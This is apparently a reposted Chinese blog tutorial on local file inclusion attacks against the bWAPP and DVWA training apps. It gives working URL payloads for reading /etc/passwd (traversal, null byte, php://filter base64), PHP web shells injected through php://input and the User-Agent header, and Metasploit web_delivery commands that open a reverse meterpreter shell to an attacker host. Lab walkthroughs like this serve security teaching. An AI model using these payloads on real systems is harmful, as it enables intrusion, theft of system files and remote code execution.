zoukankan      html  css  js  c++  java
  • 本地文件包含漏洞(LFI漏洞)

    0x00 前言

    本文的主要目的是分享在服务器遭受文件包含漏洞时,使用各种技术对Web服务器进行攻击的想法。 我们都知道LFI漏洞允许用户通过在URL中包括一个文件。在本文中,我使用了bWAPP和DVWA两个不同的平台,其中包含文件包含漏洞的演示。通过它我以四种不同的方式执行LFI攻击

    0x01 基本本地文件包含

    在浏览器中输入目标IP,并在BWAPP内登录(bee:bug),现在选择bug:remote & local file Inclusion,然后点击hack。

    1-1

    打开具有RFI和LFI漏洞的网页。在下拉列表中选择语言释,单击go按钮时,所选的语言文件将包含在URL中。 执行基本攻击操作。

    http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go into 192.168.1.101/bWAPP/flfi.php?language=/etc/passwd

    在基本的LFI攻击中,我们可以使用(../)或简单地(/)从目录中直接读取文件的内容,下面的截图中在浏览器URL中访问密码文件。

    2-1

    0x02 Null byte

    在一些情况下,由于高安全级别,上面提到的基本本地文件包含攻击可能不工作。从下面的截图可以观察到,当在URL中执行相同的路径时,却无法读取密码文件。  所以当面对这样的问题,可以进行NULL byte攻击。

    打开burp suite捕获浏览器请求,然后选择代理选项卡并开始截取。 不要忘记在使用burp suite时设置浏览器代理。

    3.1

    将拦截的数据发送到repeater

    3.2

    在repeater中做发送的请求和响应生成的分析。从截图可以清楚的看出/ etc / passwd不能读取。

    3.3

    在下面的截图中,通过在etc/passwd目录的末尾添加空字符(%00)来转发请求,然后单击go选项卡。然后在窗口的右视图上,密码文件作为响应打开。

    3.4

    0x03 Base64 encoded

    当安全级别高并且无法查看PHP文件内容时,使用以下PHP函数:

    http://192.168.1.101/bWAPP/rlfi.php?language=php://filter/read=convert.base64-encode/resource=/etc/passwd

    从以下截图可以看到passwd文件内容编码为base64,复制整个编码文本。

    3-2

    使用hackbar解码复制的编码文本。

    4-2

    将复制的编码文本粘贴到弹出的对话框内。

    5-3

    密码文件的内容:

    6-2

    0x04 PHP Input

    使用PHP Input函数,通过执行注入PHP代码来利用LFI漏洞。首先,加载目标网页URL:

    http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go

    11

    使用PHP input函数:

    http://192.168.1.101/bWAPP/rlfi.php?language=php://input&cmd=ls

    然后选中enable Post data复选框,转发提交的数据,并在给定文本区域中添加cmd命令<?php system($ _ GET [‘cmd’]); ?>。如下图所示,最后点击execute。

    12

    通过反向连接连接目标机器; 在kali Linux中打开终端输入msfconsole启动metasploit。

    use exploit/multi/script/web_delivery
    
    msf exploit (web_delivery)>set target 1
    
    msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp
    
    msf exploit (web_delivery)> set lhost 192.168.0.104 
    
    msf exploit (web_delivery)>set srvport  8081
    
    msf exploit (web_delivery)>exploit

    复制下图中的高亮文本:

    13

    将上面复制的PHP代码粘贴到URL中,如下图所示,并执行它。

    14

    当上面的URL被执行时,将metasploit中获得目标的meterpreter会话。

    msf exploit (web_delivery)>session I 1
    
    meterpreter> sysinfo

    15

    0x05 Proc/self/environ

    如果服务超时,通过LFI利用它。可以包括存储User_Agent的proc/self/environ文件,在文件中插入用于执行CMD命令的PHP代码

    http://192.168.1.102/dvwa/vulnerabilities/fi/?page=proc/self/environ

    16

    启动burp suite拦截浏览器请求,并将获取数据发送到repeater。

    17

    将CMD命令<?php system($_GET[‘cmd’]); ?>添加到user_Agent内,并使用GET参数192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id发送请求。响应如下图右侧所示。

    18

  • 相关阅读:
    Windows Server 2003 服务器备份和恢复技巧
    查询表一张表的列名及字段类型
    aix 维护常用命令
    从 p12 格式 SSL 证书解出 pem 格式公钥私钥给 Postman 使用
    微信添加好友、加群的限制
    python requests 设置 proxy 和 SSL 证书
    blog post template(步骤类)
    post template(调查类)
    clip at cnblogs log
    《什么才是公司最好的福利》读后感
  • 原文地址:https://www.cnblogs.com/wh4am1/p/6542398.html
Copyright © 2011-2022 走看看